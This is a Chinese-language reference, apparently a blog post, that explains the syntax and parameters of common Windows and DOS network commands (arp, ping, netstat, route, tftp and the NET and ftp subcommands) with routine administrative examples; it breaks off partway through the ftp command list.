折柳送别，三伏天，心寒，无人怜．

DOS下常用网络命令解释大全
Arp
    显示和修改“地址解析协议”(ARP) 所使用的到以太网的 IP 或令牌环物理地址翻译表。该命令只有在安装了 TCP/IP 协议之后才可用。
    arp -a [inet_addr] [-N [if_addr]
    arp -d inet_addr [if_addr]
    arp -s inet_addr ether_addr [if_addr]
    参数
    -a
    通过询问 TCP/IP 显示当前 ARP 项。如果指定了 inet_addr，则只显示指定计算机的 IP 和物理地址。
    -g
    与 -a 相同。
    inet_addr
    以加点的十进制标记指定 IP 地址。
    -N
    显示由 if_addr 指定的网络界面 ARP 项。
    if_addr
    指定需要修改其地址转换表接口的 IP 地址（如果有的话）。如果不存在，将使用第一个可适用的接口。
    -d
    删除由 inet_addr 指定的项。
    -s
    在 ARP 缓存中添加项，将 IP 地址 inet_addr 和物理地址 ether_addr 关联。物理地址由以连字符分隔的6 个十六进制字节给定。使用带点的十进制标记指定 IP 地址。项是永久性的，即在超时到期后项自动从缓存删除。
    ether_addr
    指定物理地址。
    Finger
    在运行 Finger 服务的指定系统上显示有关用户的信息。根据远程系统输出不同的变量。该命令只有在安装了 TCP/IP 协议之后才可用。
    finger [-l] [user]@computer[...]
    参数
    -l
    以长列表格式显示信息。
    user
    指定要获得相关信息的用户。省略用户参数以显示指定计算机上所有用户的信息：
    @computer
    Ftp
    将文件传送到正在运行 FTP 服务的远程计算机或从正在运行 FTP 服务的远程计算机传送文件（有时称作 daemon）。Ftp可以交互使用。单击“相关主题”列表中的“ftp 命令”以获得可用的“ftp”子命令描述。该命令只有在安装了 TCP/IP 协议之后才可用。Ftp 是一种服务，一旦启动，将创建在其中可以使用ftp 命令的子环境，通过键入 quit 子命令可以从子环境返回到 Windows 2000 命令提示符。当 ftp 子环境运行时，它由 ftp 命令提示符代表。
    ftp [-v] [-n] [-i] [-d] [-g] [-s:filename] [-a] [-w:windowsize] [computer]
    参数
    -v
    禁止显示远程服务器响应。
    -n
    禁止自动登录到初始连接。
    -i
    多个文件传送时关闭交互提示。
    -d
    启用调试、显示在客户端和服务器之间传递的所有 ftp 命令。
    -g
    禁用文件名组，它允许在本地文件和路径名中使用通配符字符（* 和 ?）。（请参阅联机“命令参考”中的 glob 命令。）
    -s: filename
    指定包含 ftp 命令的文本文件；当 ftp 启动后，这些命令将自动运行。该参数中不允许有空格。使用该开关而不是重定向(> )。
    -a
    在捆绑数据连接时使用任何本地接口。
    -w:windowsize
    替代默认大小为 4096 的传送缓冲区。
    computer
    指定要连接到远程计算机的计算机名或 IP 地址。如果指定，计算机必须是行的最后一个参数。
    Nbtstat
    该诊断命令使用 NBT（TCP/IP 上的 NetBIOS）显示协议统计和当前 TCP/IP 连接。该命令只有在安装了TCP/IP 协议之后才可用。
    nbtstat [-a remotename] [-A IP address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]
    参数
    -a remotename
    使用远程计算机的名称列出其名称表。
    -A IP address
    使用远程计算机的 IP 地址并列出名称表。
    -c
    给定每个名称的 IP 地址并列出 NetBIOS 名称缓存的内容。
    -n
    列出本地 NetBIOS 名称。“已注册”表明该名称已被广播 (Bnode) 或者 WINS（其他节点类型）注册。
    -R
    清除 NetBIOS 名称缓存中的所有名称后，重新装入 Lmhosts 文件。
    -r
    列出 Windows 网络名称解析的名称解析统计。在配置使用 WINS 的 Windows 2000 计算机上，此选项返回要通过广播或WINS 来解析和注册的名称数。
    -S
    显示客户端和服务器会话，只通过 IP 地址列出远程计算机。
    -s
    显示客户端和服务器会话。尝试将远程计算机 IP 地址转换成使用主机文件的名称。
    interval
    重新显示选中的统计，在每个显示之间暂停 interval 秒。按 CTRL+C 停止重新显示统计信息。如果省略该参数，nbtstat 打印一次当前的配置信息。
    Netstat
    显示协议统计和当前的 TCP/IP 网络连接。该命令只有在安装了 TCP/IP 协议后才可以使用。
    netstat [-a] [-e] [-n] [-s] [-p protocol] [-r] [interval]
    参数
    -a
    显示所有连接和侦听端口。服务器连接通常不显示。
    -e
    显示以太网统计。该参数可以与 -s 选项结合使用。
    -n
    以数字格式显示地址和端口号（而不是尝试查找名称）。
    -s
    显示每个协议的统计。默认情况下，显示 TCP、UDP、ICMP 和 IP 的统计。-p 选项可以用来指定默认的子集。
    -p protocol
    显示由 protocol 指定的协议的连接；protocol 可以是 tcp 或 udp。如果与 -s 选项一同使用显示每个协议的统计，protocol 可以是 tcp、udp、icmp 或 ip。
    -r
    显示路由表的内容。
    interval
    重新显示所选的统计，在每次显示之间暂停 interval 秒。按 CTRL+B 停止重新显示统计。如果省略该参数，netstat 将打印一次当前的配置信息。
    Ping
    验证与远程计算机的连接。该命令只有在安装了 TCP/IP 协议后才可以使用。
    ping [-t] [-a] [-n count] [-l length] [-f] [-i ttl] [-v tos] [-r count] [-s count] [-j computer-list] | [-k computer-list] [-w timeout] destination-list
    参数
    -t
    Ping 指定的计算机直到中断。
    -a
    将地址解析为计算机名。
    -n count
    发送 count 指定的 ECHO 数据包数。默认值为 4。
    -l length
    发送包含由 length 指定的数据量的 ECHO 数据包。默认为 32 字节；最大值是 65,527。
    -f
    在数据包中发送“不要分段”标志。数据包就不会被路由上的网关分段。
    -i ttl
    将“生存时间”字段设置为 ttl 指定的值。
    -v tos
    将“服务类型”字段设置为 tos 指定的值。
    -r count
    在“记录路由”字段中记录传出和返回数据包的路由。count 可以指定最少 1 台，最多 9 台计算机。
    -s count
    指定 count 指定的跃点数的时间戳。
    -j computer-list
    利用 computer-list 指定的计算机列表路由数据包。连续计算机可以被中间网关分隔（路由稀疏源）IP 允许的最大数量为9。
    -k computer-list
    利用 computer-list 指定的计算机列表路由数据包。连续计算机不能被中间网关分隔（路由严格源）IP 允许的最大数量为9。
    -w timeout
    指定超时间隔，单位为毫秒。
    destination-list
    指定要 ping 的远程计算机。
    Rcp
    在 Windows 2000 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件。rcp 命令是一个连接命令，从Windows 2000 计算机发出该命令时，也可以用于其他传输在两台运行 rshd 的计算机之间复制文件。rshd 端口监控程序可以在 UNIX 计算机上使用，而在Windows 2000 上不能使用，所以 Windows 2000 计算机仅可以作为发出命令的系统参与。远程计算机必须也通过运行 rshd 提供 rcp 实用程序。
    rcp [-a | -b] [-h] [-r] source1 source2 ... sourceN destination
    参数
    -a
    指定 ASCII 传输模式。此模式在传出文件上将回车/换行符转换为回车符，在传入文件中将换行符转换为回车/换行符。该模式为默认的传输模式。
    -b
    指定二进制图像传输模式。没有执行回车/换行符转换。
    -h
    传输 Windows 2000 计算机上标记为隐藏属性的源文件。如果没有该选项，在 rcp 命令行上指定隐藏文件的效果与文件不存在一样。
    -r
    将源的所有子目录内容递归复制到目标。source 和 destination 都必须是目录，虽然即使源不是目录，使用-r 也能够工作。但将没有递归。
    source 和 destination
    格式必须为 [computer[.user]:]filename。如果忽略了 [computer[.user]:] 部分，计算机将假定为本地计算机。如果省略了 [.user] 部分，将使用当前登录的 Windows 2000 用户名。如果使用了完全合格的计算机名，其中包含句点(.) 分隔符，则必须包含 [.user]。否则，计算机名的最后部分将解释为用户名。如果指定了多个源文件，则destination 必须是目录。
    如果文件名不是以 UNIX 的正斜杠 (/) 或 Windows 2000 系统的反斜杠 (\) 打头，则假定相对于当前的工作目录。在Windows 2000 中，这是发出命令的目录。在远程系统中，这是远程用户的登录目录。句点 (.) 表示当前的目录。在远程路径中使用转义字符（\、" 或 '），以便在远程计算机中使用通配符。
    Rexec
    在运行 REXEC 服务的远程计算机上运行命令。rexec 命令在执行指定命令前，验证远程计算机上的用户名，只有安装了TCP/IP 协议后才可以使用该命令。
    rexec computer [-l username] [-n] command
    参数
    computer
    指定要运行 command 的远程计算机。
    -l username
    指定远程计算机上的用户名。
    -n
    将 rexec 的输入重定向到 NULL。
    command
    指定要运行的命令。
    Route
    控制网络路由表。该命令只有在安装了 TCP/IP 协议后才可以使用。
    route [-f] [-p] [command [destination] [mask subnetmask] [gateway] [metric costmetric]
    参数
    -f
    清除所有网关入口的路由表。如果该参数与某个命令组合使用，路由表将在运行命令前清除。
    -p
    该参数与 add 命令一起使用时，将使路由在系统引导程序之间持久存在。默认情况下，系统重新启动时不保留路由。与 print 命令一起使用时，显示已注册的持久路由列表。忽略其他所有总是影响相应持久路由的命令。
    command
    指定下列的一个命令。
    命令 目的
    print 打印路由
    add 添加路由
    delete 删除路由
    change 更改现存路由
    destination
    指定发送 command 的计算机。
    mask subnetmask
    指定与该路由条目关联的子网掩码。如果没有指定，将使用 255.255.255.255。
    gateway
    指定网关。
    名为 Networks 的网络数据库文件和名为 Hosts 的计算机名数据库文件中均引用全部 destination 或 gateway 使用的符号名称。如果命令是 print 或 delete，目标和网关还可以使用通配符，也可以省略网关参数。
    metric costmetric
    指派整数跃点数（从 1 到 9999）在计算最快速、最可靠和（或）最便宜的路由时使用。
    Rsh
    在运行 RSH 服务的远程计算机上运行命令。该命令只有在安装了 TCP/IP 协议后才可以使用。
    rsh computer [-l username] [-n] command
    参数
    computer
    指定运行 command 的远程计算机。
    -l username
    指定远程计算机上使用的用户名。如果省略，则使用登录的用户名。
    -n
    将 rsh 的输入重定向到 NULL。
    command
    指定要运行的命令。
    Tftp
    将文件传输到正在运行 TFTP 服务的远程计算机或从正在运行 TFTP 服务的远程计算机传输文件。该命令只有在安装了TCP/IP 协议后才可以使用。
    tftp [-i] computer [get | put] source [destination]
    参数
    -i
    指定二进制图像传送模式（也称为“八位字节”）。在二进制图像模式中，文件一个字节接一个字节地逐字移动。在传送二进制文件时使用该模式。
    如果省略了 -i，文件将以 ASCII 模式传送。这是默认的传送模式。此模式将 EOL 字符转换为 UNIX 的回车符和个人计算机的回车符/换行符。在传送文本文件时应使用此模式。如果文件传送成功，将显示数据传输率。
    computer
    指定本地或远程计算机。
    put
    将本地计算机上的文件 destination 传送到远程计算机上的文件 source。
    get
    将远程计算机上的文件 destination 传送到本地计算机上的文件 source。
    如果将本地计算机上的文件 file-two 传送到远程计算机上的文件 file-one，请指定 put。如果将远程计算机上的文件file-two 传送到远程计算机上的文件 file-one，请指定 get。
    因为 tftp 协议不支持用户身份验证，所以用户必须登录，并且文件在远程计算机上必须可以写入。
    source
    指定要传送的文件。如果本地文件指定为 -，则远程文件在 stdout 上打印出来（如果获取），或从 stdin（如果放置）读取。
    destination
    指定将文件传送到的位置。如果省略了 destination，将假定与 source 同名。
    Tracert
    该诊断实用程序将包含不同生存时间 (TTL) 值的 Internet 控制消息协议 (ICMP) 回显数据包发送到目标，以决定到达目标采用的路由。要在转发数据包上的TTL 之前至少递减 1，必需路径上的每个路由器，所以 TTL 是有效的跃点计数。数据包上的 TTL 到达 0 时，路由器应该将“ICMP 已超时”的消息发送回源系统。Tracert 先发送 TTL 为 1 的回显数据包,并在随后的每次发送过程将 TTL 递增 1，直到目标响应或 TTL 达到最大值，从而确定路由。路由通过检查中级路由器发送回的“ICMP 已超时”的消息来确定路由。不过，有些路由器悄悄地下传包含过期 TTL 值的数据包，而 tracert 看不到。
    tracert [-d] [-h maximum_hops] [-j computer-list] [-w timeout]target_name
    参数
    /d
    指定不将地址解析为计算机名。
    -h maximum_hops
    指定搜索目标的最大跃点数。
    -j computer-list
    指定沿 computer-list 的稀疏源路由。
    -w timeout
    每次应答等待 timeout 指定的微秒数。
    target_name
    目标计算机的名称。 NET命令的基本用法
    Net
    以下综合了WINDOWS 98，WINDOWS WORKSTATION和WINDOWS SERVER 三个操作系统关于NET命令的解释，希望可以更全面一些。
    先说一些：
    (1)NET命令是一个命令行命令。
    (2)管理网络环境、服务、用户、登陆。。。。等本地信息
    (3)WIN 98，WIN WORKSTATION和WIN NT都内置了NET命令。
    (4)但WIN 98的NET命令和WORKSTATION、NT的NET命令不同。
    (5)WORKSTATION和SERVER中的NET命令基本相同。
    (6)获得HELP
     (1)在NT下可以用图形的方式，开始-》帮助-》索引-》输入NET
     (2)在COMMAND下可以用字符方式，NET /?或NET或NET HELP得到一些方法 相应的方法的帮助NETCOMMAND /HELP或NET HELP COMMAND 或NET COMMAND /? 另对于错误NET HELPMSG MESSAGE#是4位数
    (7)强制参数 所有net命令接受选项/yes和/no(可缩写为/y和/n)。[简单的说就是预先给系统的 提问一个答案]
    (8)有一些命令是马上产生作用并永久保存的，使用的时候要慎重
    (9)对于NET命令的功能都可以找到相应的图形工具的解决方案
    (10)命令的组成 命令 参数 选项 | 参数 选项 | 参数 选项 |。。。。。。 罗里罗嗦说了一大堆，其实就是6和7有用，呵呵。另有两件事：
    (1)在NT的NET命令中有一些参数是只有在SERVER环境中才能使用的
    (2)在WIN98的NET命令中有一些参数不能在DOS-WIN中使用，只能在DOS环境中使用
    下面对NET命令的不同参数的基本用法做一些初步的介绍：
    一、NET VIEW
    作 用：显示域列表、计算机列表或指定计算机的共享资源列表。
    命令格式：net view [\\computername | /domain[:domainname]
    参数介绍：
    (1)键入不带参数的net view显示当前域的计算机列表。
    (2)\\computername 指定要查看其共享资源的计算机。
    (3)/domain[:domainname]指定要查看其可用计算机的域。
    简单事例：
    (1)net view \\YFANG查看YFANG的共享资源列表。
    (2)net view /domain:LOVE查看LOVE域中的机器列表。
    二、NET USER
    作 用：添加或更改用户帐号或显示用户帐号信息。该命令也可以写为 net users。
    命令格式：net user [username [password | *] [options] [/domain]
    参数介绍：
    (1)键入不带参数的net user查看计算机上的用户帐号列表。
    (2)username添加、删除、更改或查看用户帐号名。
    (3)password为用户帐号分配或更改密码。
    (4)*提示输入密码。
    (5)/domain在计算机主域的主域控制器中执行操作。
    简单事例：
    (1)net user yfang查看用户YFANG的信息
    三、NET USE
    作 用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。
    命令格式：net use [devicename | *] [\\computername\sharename[\volume] [password | *] [/user:[domainname\]username] [/delete] | [/persistent:{yes | no]}
    参数介绍：
    键入不带参数的net use列出网络连接。
    devicename指定要连接到的资源名称或要断开的设备名称。
    \\computername\sharename服务器及共享资源的名称。
    password访问共享资源的密码。
    *提示键入密码。
    /user指定进行连接的另外一个用户。
    domainname指定另一个域。
    username指定登录的用户名。
    /home将用户连接到其宿主目录。
    /delete取消指定网络连接。
    /persistent控制永久网络连接的使用。
    简单事例：
    (1)net use e: \\YFANG\TEMP将\\YFANG\TEMP目录建立为E盘
    (2)net use e: \\YFANG\TEMP /delete断开连接
    四、NET TIME
    作 用：使计算机的时钟与另一台计算机或域的时间同步。
    命令格式：net time [\\computername | /domain[:name] [/set]
    参数介绍：
    (1)\\computername要检查或同步的服务器名。
    (2)/domain[:name]指定要与其时间同步的域。
    (3)/set使本计算机时钟与指定计算机或域的时钟同步。
    下面的这4个参数是相关的，所以一起介绍
    五、Net Start
    作 用：启动服务，或显示已启动服务的列表。
    命令格式：net start service
    六、Net Pause
    作 用：暂停正在运行的服务。
    命令格式：net pause service
    七、Net Continue
    作 用：重新激活挂起的服务。
    命令格式：net continue service
    八、NET STOP
    作 用：停止 Windows NT 网络服务。
    命令格式：net stop service
    参数介绍：我们来看看这些服务都是什么
    (1)alerter(警报)
    (2)client service for netware(Netware 客户端服务)
    (3)clipbook server(剪贴簿服务器)
    (4)computer browser(计算机浏览器)
    (5)directory replicator(目录复制器)
    (6)ftp publishing service (ftp )(ftp 发行服务)
    (7)lpdsvc
    (8)net logon(网络登录)
    (9)network dde(网络 dde)
    (10)network dde dsdm(网络 dde dsdm)
    (11)network monitor agent(网络监控代理)
    (12)nt lm security support provider(NT LM 安全性支持提供)
    (13)ole(对象链接与嵌入)
    (14)remote access connection manager(远程访问连接管理器)
    (15)remote access isnsap service(远程访问 isnsap 服务)
    (16)remote access server(远程访问服务器)
    (17)remote procedure call (rpc) locator(远程过程调用定位器)
    (18)remote procedure call (rpc) service(远程过程调用服务)
    (19)schedule(调度)
    (20)server(服务器)
    (21)simple tcp/ip services(简单 TCP/IP 服务)
    (22)snmp
    (23)spooler(后台打印程序)
    (24)tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具)
    (25)ups
    (26)workstation(工作站)
    (27)messenger(信使)
    (28)dhcp client
    (29)eventlog 以下这些SERVICE只能在NT SERVER上使用
    (1)file server for macintosh
    (2)gateway service for netware
    (3)microsoft dhcp server
    (4)print server for macintosh
    (5)remoteboot
    (6)windows internet name service
    九、Net Statistics
    作 用：显示本地工作站或服务器服务的统计记录。
    命令格式：net statistics [workstation | server]
    参数介绍：
    (1)键入不带参数的net statistics列出其统计信息可用的运行服务。
    (2)workstation显示本地工作站服务的统计信息。
    (3)server显示本地服务器服务的统计信息。
    简单事例：
    (1)net statistics server | more显示服务器服务的统计信息
    十、Net Share
    作 用：创建、删除或显示共享资源。
    命令格式：net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]
    参数介绍：
    (1)键入不带参数的net share显示本地计算机上所有共享资源的信息。
    (2)sharename是共享资源的网络名称。
    (3)drive:path指定共享目录的绝对路径。
    (4)/users:number设置可同时访问共享资源的最大用户数。
    (5)/unlimited不限制同时访问共享资源的用户数。
    (6)/remark:"text "添加关于资源的注释，注释文字用引号引住。
    简单事例：
    (1)net share mylove=c:\temp /remark:"my first share"以mylove为共享名共享C:\temp
    (2)net share mylove /delete停止共享mylove目录

    十一、Net Session
    作 用：列出或断开本地计算机和与之连接的客户端的会话，也可以写为net sessions或net sess。
    命令格式：net session [\\computername] [/delete]
    参数介绍：
    (1)键入不带参数的net session显示所有与本地计算机的会话的信息。
    (2)\\computername标识要列出或断开会话的计算机。
    (3)/delete结束与\\computername计算机会话并关闭本次会话期间计算机的所有.
    简单事例：
    (1)net session \\YFANG要显示计算机名为YFANG的客户端会话信息列表。
    十二、Net Send
    作 用：向网络的其他用户、计算机或通信名发送消息。
    命令格式：net send {name | * | /domain[:name] | /users} message
    参数介绍：
    (1)name要接收发送消息的用户名、计算机名或通信名。
    (2)*将消息发送到组中所有名称。
    (3)/domain[:name]将消息发送到计算机域中的所有名称。
    (4)/users将消息发送到与服务器连接的所有用户。
    (5)message作为消息发送的文本。
    简单事例：
    (1)net send /users server will shutdown in 5 minutes.给所有连接到服务器的用户发送消息
    十三、Net Print
    作 用：显示或控制打印作业及打印队列。
    命令格式：net print [\\computername ] job# [/hold | /release | /delete]
    参数介绍：
    (1)computername共享打印机队列的计算机名。
    (2)sharename打印队列名称。
    (3)job#在打印机队列中分配给打印作业的标识号。
    (4)/hold使用 job# 时，在打印机队列中使打印作业等待。
    (5)/release释放保留的打印作业。
    (6)/delete从打印机队列中删除打印作业。
    简单事例：
    (1)net print \\YFANG\SEEME列出\\YFANG计算机上SEEME打印机队列的目录
    十四、Net Name
    作 用：添加或删除消息名（有时也称别名），或显示计算机接收消息的名称列表。
    命令格式：net name [name [/add | /delete]
    参数介绍：
    (1)键入不带参数的net name列出当前使用的名称。
    (2)name指定接收消息的名称。
    (3)/add将名称添加到计算机中。
    (4)/delete从计算机中删除名称。
    十五、Net Localgroup
    作 用：添加、显示或更改本地组。
    命令格式：net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]
    参数介绍：
    (1)键入不带参数的net localgroup显示服务器名称和计算机的本地组名称。
    (2)groupname要添加、扩充或删除的本地组名称。
    (3)/comment: "text "为新建或现有组添加注释。
    (4)/domain在当前域的主域控制器中执行操作，否则仅在本地计算机上执行操作?
    (5)name [ ...]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名。
    (6)/add将全局组名或用户名添加到本地组中。
    (7)/delete从本地组中删除组名或用户名。
    简单事例：
    (1)net localgroup love /add将名为love的本地组添加到本地用户帐号数据库
    (2)net localgroup love显示love本地组中的用户
    十六、Net Group
    作 用：在 Windows NT Server 域中添加、显示或更改全局组。
    命令格式：net group groupname {/add [/comment:"text "] | /delete} [/domain]
    参数介绍：
    (1)键入不带参数的net group显示服务器名称及服务器的组名称。
    (2)groupname要添加、扩展或删除的组。
    (3)/comment:"text "为新建组或现有组添加注释。
    (4)/domain在当前域的主域控制器中执行该操作，否则在本地计算机上执行操作? ?
    (5)username[ ...]列表显示要添加到组或从组中删除的一个或多个用户。
    (6)/add添加组或在组中添加用户名。
    (7)/delete删除组或从组中删除用户名。
    简单事例：
    (1)net group love yfang1 yfang2 /add将现有用户帐号yfang1和yfang2添加到本地计算机的love组
    十七、Net File
    作 用：显示某服务器上所有打开的共享文件名及锁定文件数。
    命令格式：net file [id [/close]
    参数介绍：
    (1)键入不带参数的net file获得服务器上打开文件的列表。
    (2)id文件标识号。
    (3)/close关闭打开的文件并释放锁定记录。
    十八、Net Config
    作 用：显示当前运行的可配置服务，或显示并更改某项服务的设置。
    命令格式：net config [service [options]
    参数介绍：
    (1)键入不带参数的net config显示可配置服务的列表。
    (2)service通过net config命令进行配置的服务(server或workstation)
    (3)options服务的特定选项。
    十九、Net Computer
    作 用：从域数据库中添加或删除计算机。
    命令格式：net computer \\computername {/add | /del}
    参数介绍：
    (1)\\computername指定要添加到域或从域中删除的计算机。
    (2)/add将指定计算机添加到域。
    (3)/del将指定计算机从域中删除。
    简单事例：
    (1)net computer \\cc /add将计算机 cc 添加到登录域
    二十、Net Accounts
    作 用：更新用户帐号数据库、更改密码及所有帐号的登录要求。
    命令格式：net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]
    参数介绍：
    (1)键入不带参数的net accounts显示当前密码设置、登录时限及域信息。
    (2)/forcelogoff:{minutes | no}设置当用户帐号或有效登录时间过期时
    (3)/minpwlen:length设置用户帐号密码的最少字符数。
    (4)/maxpwage:{days | unlimited}设置用户帐号密码有效的最大天数。
    (5)/minpwage:days设置用户必须保持原密码的最小天数。
    (6)/uniquepw:number要求用户更改密码时，必须在经过number次后才能重复使用 与之相同的密码。
    (7)/domain在当前域的主域控制器上执行该操作。
    (8)/sync当用于主域控制器时，该命令使域中所有备份域控制器同步
    简单事例：
    (1)net accounts /minpwlen:7将用户帐号密码的最少字符数设置为7
    ----------------------上面介绍的是NET命令在WINNT下的基本用法
    ----------------------下面我们看看NET命令在WIN98下的基本用法
    在WIN98中NET命令也有一些参数的名字和功能及简单的使用方法和WINNT下的相应的参数的用法相同
    其中有
    (1)NET TIME命令
    (2)NET PRINT命令
    (3)NET USE命令
    (4)NET VIEW命令
    在WIN98中NET命令有一些参数的名字和WINNT下的相应的参数的名字相同，但其用法却有些不同
    其中有
    (1)NET START
    作 用：启动相应的服务。(不能在DOS-WIN中用)
    命令格式：NET START [BASIC | NWREDIR | WORKSTATION | NETBIND | NETBEUI | NWLINK] [/LIST] [/YES] [/VERBOSE]
    (2)NET STOP
    作 用：停止相应的服务.(不能在DOS-WIN中用)
    命令格式：NET STOP [BASIC | NWREDIR | WORKSTATION | NETBEUI | NWLINK] [/YES]
    在WIN98中NET命令还有一些参数是在98下才有的
    其中有
    (1)NET DIAG
    作 用：运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息
    命令格式：NET DIAGNOSTICS [/NAMES | /STATUS]
    (2)NET INIT
    作 用：不通过绑定来加载协议或网卡驱动(不能在DOS-WIN中用)
    命令格式：NET INITIALIZE [/DYNAMIC]
    (3)NET LOGOFF
    作 用：断开连接的共享资源(不能在DOS-WIN中用) (
    (4)NET LOGON
    作 用：在WORKGROUP中登陆(不能在DOS-WIN中用)
    命令格式：NET LOGON [user [password | ?] [/DOMAIN:name] [/YES] [/SAVEPW:NO]
    (5)NET PASSWORD
    作 用：更改你的网络登陆口令(不能在DOS-WIN中用)
    命令格式：NET PASSWORD \\computer | /DOMAIN:name [user [oldpassword [newpassword]]
    FTP命令大全
    FTP命令是Internet用户使用最频繁的命令之一,不论是在DOS还是UNIX操作系统下使用FTP,都会遇到大量的FTP内部命令,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,对于现在拨号上网的用户，如果ISP提供了shell可以使用nohup，那么ftp将是你最省钱的上download方式，ftp的命令行格式为:ftp －v －d －i －n －g[主机名]
    －v 显示远程服务器的所有响应信息。
    －d 使用调试方式。
    －n 限制ftp的自动登录,即不使用.netrc文件。
    －g 取消全局文件名。
    ftp使用的内部命令如下(其中括号表示可选项):
    1.![cmd[args]在本地机中执行交互shell、exit回到ftp环境,如!ls＊.zip 。
    2.￥ macro－ame[args]执行宏定义macro－name。
    3.account[password]提供登录远程系统成功后访问系统资源所需的补充口令 。
    4.appendlocal－file[remote－file]将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。
    5.ascii 使用ascii类型传输方式。
    6.bell每个命令执行完毕后计算机响铃一次。
    7.bin使用二进制文件传输方式。
    8.bye退出ftp会话过程。
    9。case在使用mget时,将远程主机文件名中的大写转为小写字母。
    10.cd remote－dir 进入远程主机目录。
    11.cdup进入远程主机目录的父目录。
    12.chmod modefile－name将远程主机文件file－name的存取方式设置为mode,如chmod 777 a.out。
    13.close中断与远程服务器的ftp会话(与open对应)。
    14.cr使用asscii方式传输文件时,将回车换行转换为回行。
    15.delete remote－file删除远程主机文件。
    16.debug[debug－value]设置调试方式,显示发送至远程主机的每条命令,如debup3,若 设为0,表示取消debug。
    17.dir[remote－dir][local－file]显示远程主机目录,并将结果存入local－file。
    18.disconnection同close。
    19.form format将文件传输方式设置为format,缺省为file方式。
    20.getremote－file[local－file]将远程主机的文件remote－file传至本地硬盘的local－file。
    21.glob设置mdelete、mget、mput的文件名扩展,缺省时不扩展文件名,同命令行的－g参数。
    22.hash每传输1024字节,显示一个hash符号(＃)。
    23.help[cmd]显示ftp内部命令cmd的帮助信息,如help get。
    24.idle[seconds]将远程服务器的休眠计时器设为[seconds]秒。
    25.image设置二进制传输方式(同binary)
    26.lcd[dir]将本地工作目录切换至dir。
    27.ls[remote－dir][local－file]显示远程目录remote－dir,并存入本地local－file。
    28.macdef macro－name定义一个宏,遇到macdef下的空行时,宏定义结束。
    29.mdelete[remote－file]删除远程主机文件。
    30.mdir remote－files local－file与dir类似,但可指定多个远程文件,如mdir＊.o.＊.zipoutfile。
    31.mget remote－files传输多个远程文件。
    32.mkdir dir－name 在远程主机中建一目录。
    33.mls remote－file local－file同nlist,但可指定多个文件名。
    34.mode[mode－name]将文件传输方式设置为mode－name,缺省为stream方式。
    35.modtime file－name显示远程主机文件的最后修改时间。
    36.mput local－file将多个文件传输至远程主机。
    37.newerfile－name如果远程�